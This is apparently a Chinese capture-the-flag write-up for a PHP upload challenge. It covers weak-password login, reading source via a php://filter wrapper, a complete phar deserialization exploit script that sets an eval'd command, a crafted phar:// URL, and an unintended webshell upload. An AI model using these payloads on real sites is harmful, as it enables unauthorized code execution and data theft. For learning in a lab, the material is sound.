知识点

  1. 弱口令爆破
  2. php伪协议文件读取

解题

1. 弱口令

admin/password

2. 文件读取

看到当前引用的是 upload.php加上urlhome.php?file=upload
很容易联想到文件包含,这里用伪协议进行文件读取
php://filter/read=convert.base64-encode/resource=upload
获得源码

  1. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  2. <form action="" method="post" enctype="multipart/form-data">
  3. 上传文件
  4. <input type="file" name="file" />
  5. <input type="submit" name="submit" value="上传" />
  6. </form>
  7. <?php
  8. error_reporting(0);
  9. class Uploader{
  10. public $Filename;
  11. public $cmd;
  12. public $token;
  13. function __construct(){
  14. $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
  15. $ext = ".txt";
  16. @mkdir($sandbox, 0777, true);
  17. if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
  18. $this->Filename = $_GET['name'];
  19. }
  20. else{
  21. $this->Filename = $sandbox.$_SESSION['user'].$ext;
  22. }
  23. $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
  24. $this->token = $_SESSION['user'];
  25. }
  26. function upload($file){
  27. global $sandbox;
  28. global $ext;
  29. if(preg_match("[^a-z0-9]", $this->Filename)){
  30. $this->cmd = "die('illegal filename!');";
  31. }
  32. else{
  33. if($file['size'] > 1024){
  34. $this->cmd = "die('you are too big (′▽`〃)');";
  35. }
  36. else{
  37. $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
  38. }
  39. }
  40. }
  41. function __toString(){
  42. global $sandbox;
  43. global $ext;
  44. // return $sandbox.$this->Filename.$ext;
  45. return $this->Filename;
  46. }
  47. function __destruct(){
  48. if($this->token != $_SESSION['user']){
  49. $this->cmd = "die('check token falied!');";
  50. }
  51. eval($this->cmd);
  52. }
  53. }
  54. if(isset($_FILES['file'])) {
  55. $uploader = new Uploader();
  56. $uploader->upload($_FILES["file"]);
  57. if(@file_get_contents($uploader)){
  58. echo "下面是你上传的文件:<br>".$uploader."<br>";
  59. echo file_get_contents($uploader);
  60. }
  61. }
  62. ?>

3.phar反序列化 预期解

感觉这道题有点问题,反正很多非预期

  1. $this->Filename是可控的

    1. if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
    2. $this->Filename = $_GET['name'];
    3. }
  2. 接着就是 析构函数可以有一个命令执行 但是命令执行的前提是我们指导session

but echo “下面是你上传的文件:
“.$uploader.”
“; 暴露了session

  1. function __destruct(){
  2. if($this->token != $_SESSION['user']){
  3. $this->cmd = "die('check token falied!');";
  4. }
  5. eval($this->cmd);
  6. }
  1. function __toString(){
  2. global $sandbox;
  3. global $ext;
  4. // return $sandbox.$this->Filename.$ext;
  5. return $this->Filename; 返回了文件名里有session
  6. }
  1. 所以随便上传一个文件就可以得到session[user]了

写exp

  1. <?php
  2. class Uploader{
  3. public $Filename;
  4. public $cmd;
  5. public $token;
  6. }
  7. $upload = new Uploader();
  8. $upload->cmd = "highlight_file('/var/www/html/flag.php');";
  9. $upload->Filename = 'test';
  10. $upload->token = 'GXY1bc3499eb86867d7a7fe7c7ba1b750c7';
  11. $phar = new Phar("exp.phar");
  12. $phar->startBuffering();
  13. $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
  14. $phar->setMetadata($upload);
  15. $phar->addFromString("exp.txt", "test");
  16. $phar->stopBuffering();
  17. ?>

将这个文件上传之后![S0$S~EGT_A%YXH0AUQ6TYS.png将得到的文件路径前加一个phar://
因为我们可以控制文件名称
所以构造url为?file=upload&name=phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后再此上传文件

  1. if(isset($_FILES['file'])) {
  2. $uploader = new Uploader();
  3. $uploader->upload($_FILES["file"]);
  4. if(@file_get_contents($uploader)){
  5. echo "下面是你上传的文件:<br>".$uploader."<br>";
  6. echo file_get_contents($uploader);
  7. }
  8. }

此时会new一个新的Uploader,而此时他的filename是我们phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后会调用upload函数不用管
但是在下面的file_get_contents($uploader)会调用toString函数这个时候就变为了
file_get_contents(phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt)
会自动解析我们的phar文件
而这个phar里的cmd属性的值是highlight_file(‘/var/www/html/flag.php’);
在析构的时候就会给出我们的flag

非预期

  1. 直接传shell.php
    1. if(preg_match("[^a-z0-9]", $this->Filename)){
    2. $this->cmd = "die('illegal filename!');";
    3. }
    这里的过滤好像没有什么卵用,按理说应该是不能传shell.php
    如果文件名称为shell.php,前面的phar
    应该会调用
    1. $this->cmd = "die('illegal filename!');";
    但是并没有,这个可以猜到,如果有的话,前面正常的文件上传按理来说应该也是不行的
    所以直接控制名称为shell.php
    上传一个webshellSJ0ON26]7@VSKLSM~{7J_M0.png我觉得这道题很烂,做的莫名其妙!